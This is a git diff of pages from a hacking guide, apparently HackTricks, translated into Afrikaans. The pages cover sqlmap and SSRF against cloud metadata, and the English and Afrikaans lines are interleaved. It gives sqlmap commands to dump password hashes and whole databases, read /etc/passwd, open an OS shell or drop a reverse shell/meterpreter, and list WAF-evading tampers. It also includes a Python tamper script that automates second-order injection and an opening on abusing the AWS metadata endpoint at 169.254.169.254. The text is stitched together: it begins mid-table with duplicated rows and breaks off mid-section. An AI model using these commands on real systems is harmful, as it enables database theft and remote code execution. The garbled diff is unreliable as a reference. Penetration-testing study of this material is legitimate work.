| between.py | Replaces greater than operator \('&gt;'\) with 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
| chardoubleencode.py | Double url-encodes all characters in a given payload \(not processing already encoded\) |
| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
| commalessmid.py | Replaces instances like 'MID\(A, B, C\)' with 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Replaces instances like 'CONCAT\(A, B\)' with 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Url-encodes all characters in a given payload \(not processing already encoded\) |
| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "%u0022" |
| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload \(not processing already encoded\). "\u0022" |
| equaltolike.py | Replaces all occurances of operator equal \('='\) with operator 'LIKE' |
| escapequotes.py | Slash escape quotes \(' and "\) |
| greatest.py | Replaces greater than operator \('&gt;'\) with 'GREATEST' counterpart |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
| ifnull2ifisnull.py | Replaces instances like 'IFNULL\(A, B\)' with 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Embraces complete query with versioned comment |
| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
| multiplespaces.py | Adds multiple spaces around SQL keywords |
| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement \(e.g. .replace\("SELECT", ""\)\) filters |
| percentage.py | Adds a percentage sign \('%'\) infront of each character |
| overlongutf8.py | Converts all characters in a given payload \(not processing already encoded\) |
| randomcase.py | Replaces each keyword character with random case value |
| randomcomments.py | Add random comments to SQL keywords |
| securesphere.py | Appends special crafted string |
| sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
| space2comment.py | Replaces space character \(' '\) with comments |
| space2dash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a random string and a new line \('\n'\) |
| space2hash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
| space2morehash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a random string and a new line \('\n'\) |
| space2mssqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| space2mssqlhash.py | Replaces space character \(' '\) with a pound character \('\#'\) followed by a new line \('\n'\) |
| space2mysqlblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| space2mysqldash.py | Replaces space character \(' '\) with a dash comment \('--'\) followed by a new line \('\n'\) |
| space2plus.py | Replaces space character \(' '\) with plus \('+'\) |
| space2randomblank.py | Replaces space character \(' '\) with a random blank character from a valid set of alternate characters |
| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts \(&& and |
| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
| unmagicquotes.py | Replaces quote character \('\) with a multi-byte combo %bf%27 together with generic comment at the end \(to make it work\) |
| uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
| varnish.py | Append a HTTP header 'X-originating-IP' |
| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
| apostrophenullencode.py | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger |
| appendnullbyte.py | Voeg geënkodeerde NULL byte karakter by die einde van die payload aan |
| base64encode.py | Base64 al karakters in 'n gegewe payload |
| between.py | Vervang groter as operator \('&gt;'\) met 'NOT BETWEEN 0 AND \#' |
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator |
| chardoubleencode.py | Dubbel url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeer nie\) |
| commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
| commalessmid.py | Vervang voorbeelde soos 'MID\(A, B, C\)' met 'MID\(A FROM B FOR C\)' |
| concat2concatws.py | Vervang voorbeelde soos 'CONCAT\(A, B\)' met 'CONCAT_WS\(MID\(CHAR\(0\), 0, 0\), A, B\)' |
| charencode.py | Url-encode al karakters in 'n gegewe payload \(nie reeds geënkodeer nie\) |
| charunicodeencode.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeer nie\). "%u0022" |
| charunicodeescape.py | Unicode-url-encode nie-geënkodeerde karakters in 'n gegewe payload \(nie reeds geënkodeer nie\). "\u0022" |
| equaltolike.py | Vervang al voorkomste van operator gelyk \('='\) met operator 'LIKE' |
| escapequotes.py | Sluit escape aan aan aanhalings \(' en "\) |
| greatest.py | Vervang groter as operator \('&gt;'\) met 'GREATEST' teenhanger |
| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL\(A, B\)' met 'IF\(ISNULL\(A\), B, A\)' |
| modsecurityversioned.py | Omhels volledige navraag met weergawe kommentaar |
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergwe kommentaar |
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging \(bv. .replace\("SELECT", ""\)\) filters |
| percentage.py | Voeg 'n persentasieteken \('%'\) voor elke karakter by |
| overlongutf8.py | Converteer al karakters in 'n gegewe payload \(nie reeds geënkodeer nie\) |
| randomcase.py | Vervang elke sleutelwoord karakter met ewekansige kaswaarde |
| randomcomments.py | Voeg ewekansige kommentaar by SQL sleutelwoorde |
| securesphere.py | Voeg spesiaal saamgestelde string by |
| sp_password.py | Voeg 'sp_password' by die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
| space2comment.py | Vervang spasie karakter \(' '\) met kommentaar |
| space2dash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\) |
| space2hash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\) |
| space2morehash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n ewekansige string en 'n nuwe lyn \('\n'\) |
| space2mssqlblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mssqlhash.py | Vervang spasie karakter \(' '\) met 'n pond karakter \('\#'\) gevolg deur 'n nuwe lyn \('\n'\) |
| space2mysqlblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mysqldash.py | Vervang spasie karakter \(' '\) met 'n streep kommentaar \('--'\) gevolg deur 'n nuwe lyn \('\n'\) |
| space2plus.py | Vervang spasie karakter \(' '\) met plus \('+'\) |
| space2randomblank.py | Vervang spasie karakter \(' '\) met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers \(&& en |
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
| unmagicquotes.py | Vervang aanhaling karakter \('\) met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde \(om dit te laat werk\) |
| uppercase.py | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT' |
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar |
| versionedmorekeywords.py | Omhels elke sleutelwoord met weergawe MySQL kommentaar |
| xforwardedfor.py | Voeg 'n vals HTTP kop 'X-Forwarded-For' by |
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,16 +4,15 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic arguments for SQLmap
### Generic
## Basiese argumente vir SQLmap
### Generies
```bash
-u "<URL>"
-p "<PARAM TO TEST>"
@ -31,11 +30,9 @@
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char
```
### Verkry Inligting
### Retrieve Information
#### Internal
#### Intern
```bash
--current-user #Get current user
--is-dba #Check if current user is Admin
@ -44,9 +41,7 @@
--passwords #Get passwords of users in DB
--privileges #Get privileges
```
#### DB data
```bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
@ -55,34 +50,26 @@
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
```
Gebruik [SQLMapping](https://taurusomar.github.io/sqlmapping/) dit is 'n praktiese hulpmiddel wat opdragte genereer en 'n volledige oorsig bied, beide basies en gevorderd, vir SQLMap. Dit sluit ToolTips in wat elke aspek van die hulpmiddel verduidelik, met besonderhede oor elke opsie sodat jy kan verbeter en verstaan hoe om dit doeltreffend en effektief te gebruik.
Using [SQLMapping](https://taurusomar.github.io/sqlmapping/) it is a practical tool that generates commands and provides a complete overview, both basic and advanced, for SQLMap. It includes ToolTips that explain each aspect of the tool, detailing every option so that you can improve and understand how to use it efficiently and effectively
## Inspuitplek
## Injection place
### From Burp/ZAP capture
Capture the request and create a req.txt file
### Van Burp/ZAP vang
Vang die versoek en skep 'n req.txt-lêer.
```bash
sqlmap -r req.txt --current-user
```
### GET Request Injection
### GET Versoek Inspuiting
```bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id
```
### POST Request Injection
### POST Versoek Inspuiting
```bash
sqlmap -u "http://example.com" --data "username=*&password=*"
```
### Injections in Headers and other HTTP Methods
### Inspuitings in Headers en ander HTTP Metodes
```bash
#Inside cookie
sqlmap -u "http://example.com" --cookie "mycookies=*"
@ -96,23 +83,17 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
#The injection is located at the '*'
```
### Indicate string when injection is successful
### Dui string aan wanneer inspuiting suksesvol is
```bash
--string="string_showed_when_TRUE"
```
### Eval
**Sqlmap** allows the use of `-e` or `--eval` to process each payload before sending it with some python oneliner. This makes very easy and fast to process in custom ways the payload before sending it. In the following example the **flask cookie session** **is signed by flask with the known secret before sending it**:
**Sqlmap** laat die gebruik van `-e` of `--eval` toe om elke payload te verwerk voordat dit met 'n python oneliner gestuur word. Dit maak dit baie maklik en vinnig om die payload op pasgemaakte maniere te verwerk voordat dit gestuur word. In die volgende voorbeeld is die **flask koekie sessie** **onderteken deur flask met die bekende geheim voordat dit gestuur word**:
```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
```
### Shell
### Skulpin
```bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami
@ -123,15 +104,11 @@ python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
```
### Read File
### Lees Lêer
```bash
--file-read=/etc/passwd
```
### Crawl a website with SQLmap and auto-exploit
### Krap 'n webwerf met SQLmap en outomatiese eksploitasie
```bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
@ -139,102 +116,90 @@ sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threa
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
```
### Second Order Injection
### Tweede Orde Inspuiting
```bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```
[**Lees hierdie pos** ](second-order-injection-sqlmap.md)**oor hoe om eenvoudige en komplekse tweede orde inspuitings met sqlmap uit te voer.**
[**Read this post** ](second-order-injection-sqlmap.md)**about how to perform simple and complex second order injections with sqlmap.**
## Customizing Injection
### Set a suffix
## Pas Inspuiting Aan
### Stel 'n agtervoegsel in
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
```
### Prefix
### Voorvoegsel
```bash
python sqlmap.py -u "http://example.com/?id=1" -p id --prefix="') "
```
### Help finding boolean injection
### Hulp om boolean inspuiting te vind
```bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch
```
### Tamper
Remember that **you can create your own tamper in python** and it's very simple. You can find a tamper example in the [Second Order Injection page here](second-order-injection-sqlmap.md).
Onthou dat **jy jou eie tamper in python kan skep** en dit is baie eenvoudig. Jy kan 'n tamper voorbeeld op die [Second Order Injection bladsy hier](second-order-injection-sqlmap.md) vind.
```bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
```
| Tamper | Description |
| Tamper | Beskrywing |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Replaces apostrophe character with its UTF-8 full width counterpart |
| apostrophenullencode.py | Replaces apostrophe character with its illegal double unicode counterpart |
| appendnullbyte.py | Appends encoded NULL byte character at the end of payload |
| base64encode.py | Base64 all characters in a given payload |
| between.py | Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator |
| chardoubleencode.py | Double url-encodes all characters in a given payload (not processing already encoded) |
| commalesslimit.py | Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' |
| commalessmid.py | Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)' |
| concat2concatws.py | Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-encodes all characters in a given payload (not processing already encoded) |
| charunicodeencode.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "%u0022" |
| charunicodeescape.py | Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded). "\u0022" |
| equaltolike.py | Replaces all occurances of operator equal ('=') with operator 'LIKE' |
| escapequotes.py | Slash escape quotes (' and ") |
| greatest.py | Replaces greater than operator ('>') with 'GREATEST' counterpart |
| halfversionedmorekeywords.py | Adds versioned MySQL comment before each keyword |
| ifnull2ifisnull.py | Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Embraces complete query with versioned comment |
| modsecurityzeroversioned.py | Embraces complete query with zero-versioned comment |
| multiplespaces.py | Adds multiple spaces around SQL keywords |
| nonrecursivereplacement.py | Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters |
| percentage.py | Adds a percentage sign ('%') infront of each character |
| overlongutf8.py | Converts all characters in a given payload (not processing already encoded) |
| randomcase.py | Replaces each keyword character with random case value |
| randomcomments.py | Add random comments to SQL keywords |
| securesphere.py | Appends special crafted string |
| sp_password.py | Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs |
| space2comment.py | Replaces space character (' ') with comments |
| space2dash.py | Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n') |
| space2hash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
| space2morehash.py | Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n') |
| space2mssqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| space2mssqlhash.py | Replaces space character (' ') with a pound character ('#') followed by a new line ('\n') |
| space2mysqlblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| space2mysqldash.py | Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n') |
| space2plus.py | Replaces space character (' ') with plus ('+') |
| space2randomblank.py | Replaces space character (' ') with a random blank character from a valid set of alternate characters |
| symboliclogical.py | Replaces AND and OR logical operators with their symbolic counterparts (&& and |
| unionalltounion.py | Replaces UNION ALL SELECT with UNION SELECT |
| unmagicquotes.py | Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) |
| uppercase.py | Replaces each keyword character with upper case value 'INSERT' |
| varnish.py | Append a HTTP header 'X-originating-IP' |
| versionedkeywords.py | Encloses each non-function keyword with versioned MySQL comment |
| versionedmorekeywords.py | Encloses each keyword with versioned MySQL comment |
| xforwardedfor.py | Append a fake HTTP header 'X-Forwarded-For' |
| apostrophemask.py | Vervang apostrof karakter met sy UTF-8 volle breedte teenhanger |
| apostrophenullencode.py | Vervang apostrof karakter met sy onwettige dubbele unicode teenhanger |
| appendnullbyte.py | Voeg gekodeerde NULL byte karakter by aan die einde van die payload |
| base64encode.py | Base64 al karakters in 'n gegewe payload |
| between.py | Vervang groter as operator ('>') met 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Vervang spasie karakter na SQL verklaring met 'n geldige ewekansige leë karakter. Vervang daarna karakter = met LIKE operator |
| chardoubleencode.py | Dubbel url-kodeer al karakters in 'n gegewe payload (nie reeds gekodeerde verwerk) |
| commalesslimit.py | Vervang voorbeelde soos 'LIMIT M, N' met 'LIMIT N OFFSET M' |
| commalessmid.py | Vervang voorbeelde soos 'MID(A, B, C)' met 'MID(A FROM B FOR C)' |
| concat2concatws.py | Vervang voorbeelde soos 'CONCAT(A, B)' met 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-kodeer al karakters in 'n gegewe payload (nie reeds gekodeerde verwerk) |
| charunicodeencode.py | Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe payload (nie reeds gekodeerde verwerk). "%u0022" |
| charunicodeescape.py | Unicode-url-kodeer nie-gekodeerde karakters in 'n gegewe payload (nie reeds gekodeerde verwerk). "\u0022" |
| equaltolike.py | Vervang al voorkomste van operator gelyk ('=') met operator 'LIKE' |
| escapequotes.py | Skuil aanhalings (' en ") |
| greatest.py | Vervang groter as operator ('>') met 'GREATEST' teenhanger |
| halfversionedmorekeywords.py | Voeg 'n weergawe MySQL kommentaar voor elke sleutelwoord by |
| ifnull2ifisnull.py | Vervang voorbeelde soos 'IFNULL(A, B)' met 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Omhels volledige navraag met weergawe kommentaar |
| modsecurityzeroversioned.py | Omhels volledige navraag met nul-weergawekommentaar |
| multiplespaces.py | Voeg meerdere spasies rondom SQL sleutelwoorde by |
| nonrecursivereplacement.py | Vervang vooraf gedefinieerde SQL sleutelwoorde met verteenwoordigings geskik vir vervanging (bv. .replace("SELECT", "")) filters |
| percentage.py | Voeg 'n persentasieteken ('%') voor elke karakter by |
| overlongutf8.py | Converteer al karakters in 'n gegewe payload (nie reeds gekodeerde verwerk) |
| randomcase.py | Vervang elke sleutelwoord karakter met ewekansige kaswaarde |
| randomcomments.py | Voeg ewekansige kommentaar by aan SQL sleutelwoorde |
| securesphere.py | Voeg spesiaal saamgestelde string by |
| sp_password.py | Voeg 'sp_password' by aan die einde van die payload vir outomatiese obfuskaasie van DBMS logs |
| space2comment.py | Vervang spasie karakter (' ') met kommentaar |
| space2dash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
| space2hash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
| space2morehash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n ewekansige string en 'n nuwe lyn ('\n') |
| space2mssqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mssqlhash.py | Vervang spasie karakter (' ') met 'n pond karakter ('#') gevolg deur 'n nuwe lyn ('\n') |
| space2mysqlblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
| space2mysqldash.py | Vervang spasie karakter (' ') met 'n streep kommentaar ('--') gevolg deur 'n nuwe lyn ('\n') |
| space2plus.py | Vervang spasie karakter (' ') met plus ('+') |
| space2randomblank.py | Vervang spasie karakter (' ') met 'n ewekansige leë karakter uit 'n geldige stel alternatiewe karakters |
| symboliclogical.py | Vervang AND en OR logiese operators met hul simboliese teenhangers (&& en |
| unionalltounion.py | Vervang UNION ALL SELECT met UNION SELECT |
| unmagicquotes.py | Vervang aanhalingsteken karakter (') met 'n multi-byte kombinasie %bf%27 saam met generiese kommentaar aan die einde (om dit te laat werk) |
| uppercase.py | Vervang elke sleutelwoord karakter met hoofletters waarde 'INSERT' |
| varnish.py | Voeg 'n HTTP kop 'X-originating-IP' by |
| versionedkeywords.py | Omhels elke nie-funksie sleutelwoord met weergawe MySQL kommentaar |
| versionedmorekeywords.py | Omhels elke sleutelwoord met weergawe MySQL kommentaar |
| xforwardedfor.py | Voeg 'n vals HTTP kop 'X-Forwarded-For' by |
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik outomatiese eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
{{#include ../../../banners/hacktricks-training.md}}
**SQLMap can exploit Second Order SQLis.**\
You need to provide:
**SQLMap kan Tweede Orde SQLis benut.**\
Jy moet verskaf:
- The **request** where the **sqlinjection payload** is going to be saved
- The **request** where the **payload** will be **executed**
- Die **versoek** waar die **sqlinjection payload** gestoor gaan word
- Die **versoek** waar die **payload** sal wees **uitgevoer**
The request where the SQL injection payload is saved is **indicated as in any other injection in sqlmap**. The request **where sqlmap can read the output/execution** of the injection can be indicated with `--second-url` or with `--second-req` if you need to indicate a complete request from a file.
**Simple second order example:**
Die versoek waar die SQL injection payload gestoor word, is **aangedui soos in enige ander inspuiting in sqlmap**. Die versoek **waar sqlmap die uitvoer/uitvoering** van die inspuiting kan lees, kan aangedui word met `--second-url` of met `--second-req` as jy 'n volledige versoek uit 'n lêer moet aandui.
**Eenvoudige tweede orde voorbeeld:**
```bash
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
@ -17,11 +16,9 @@ sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
```
In verskeie gevalle **sal dit nie genoeg wees** omdat jy **ander aksies moet uitvoer** behalwe om die payload te stuur en 'n ander bladsy te besoek.
In several cases **this won't be enough** because you will need to **perform other actions** apart from sending the payload and accessing a different page.
When this is needed you can use a **sqlmap tamper**. For example the following script will register a new user **using sqlmap payload as email** and logout.
Wanneer dit nodig is, kan jy 'n **sqlmap tamper** gebruik. Byvoorbeeld, die volgende skrip sal 'n nuwe gebruiker registreer **met sqlmap payload as e-pos** en afmeld.
```python
#!/usr/bin/env python
@ -31,36 +28,34 @@ from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
'n **SQLMap tamper word altyd uitgevoer voordat 'n inspuiting poging met 'n payload begin word** **en dit moet 'n payload teruggee**. In hierdie geval gee ons nie om oor die payload nie, maar ons gee om om 'n paar versoeke te stuur, so die payload word nie verander nie.
A **SQLMap tamper is always executed before starting a injection try with a payload** **and it has to return a payload**. In this case we don't care about the payload but we care about sending some requests, so the payload isn't changed.
So, as ons om een of ander rede 'n meer komplekse vloei nodig het om die tweede orde SQL inspuiting te benut soos:
So, if for some reason we need a more complex flow to exploit the second order SQL injection like:
- Create an account with the SQLi payload inside the "email" field
- Logout
- Login with that account (login.txt)
- Send a request to execute the SQL injection (second.txt)
**This sqlmap line will help:**
- Skep 'n rekening met die SQLi payload binne die "email" veld
- Teken uit
- Teken in met daardie rekening (login.txt)
- Stuur 'n versoek om die SQL inspuiting uit te voer (second.txt)
**Hierdie sqlmap lyn sal help:**
```bash
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
@ -75,6 +70,4 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
```
{{#include ../../../banners/hacktricks-training.md}}

File diff suppressed because one or more lines are too long

View File

@ -4,19 +4,18 @@
## AWS
### Abusing SSRF in AWS EC2 environment
### Misbruik van SSRF in AWS EC2 omgewing
**The metadata** endpoint can be accessed from inside any EC2 machine and offers interesting information about it. It's accesible in the url: `http://169.254.169.254` ([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
**Die metadata** eindpunt kan vanaf enige EC2 masjien verkry word en bied interessante inligting daaroor. Dit is toeganklik op die url: `http://169.254.169.254` ([inligting oor die metadata hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
There are **2 versions** of the metadata endpoint. The **first** one allows to **access** the endpoint via **GET** requests (so any **SSRF can exploit it**). For the **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), you need to ask for a **token** sending a **PUT** request with a **HTTP header** and then use that token to access the metadata with another HTTP header (so it's **more complicated to abuse** with a SSRF).
Daar is **2 weergawes** van die metadata eindpunt. Die **eerste** een laat toe om die eindpunt via **GET** versoeke te **verkry** (so enige **SSRF kan dit misbruik**). Vir die **weergawes 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), moet jy 'n **token** aan vra deur 'n **PUT** versoek met 'n **HTTP kop** te stuur en dan daardie token gebruik om die metadata met 'n ander HTTP kop te verkry (so dit is **meer ingewikkeld om te misbruik** met 'n SSRF).
> [!CAUTION]
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
> Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry.
>
> Moreover, **IMDSv2** will also **block requests to fetch a token that include the `X-Forwarded-For` header**. This is to prevent misconfigured reverse proxies from being able to access it.
You can find information about the [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In the following script some interesting information is obtained from it:
> Boonop, **IMDSv2** sal ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop bevat**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang daartoe kan verkry.
Jy kan inligting oor die [metadata eindpunte in die dokumentasie vind](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In die volgende skrip word 'n paar interessante inligting daaruit verkry:
```bash
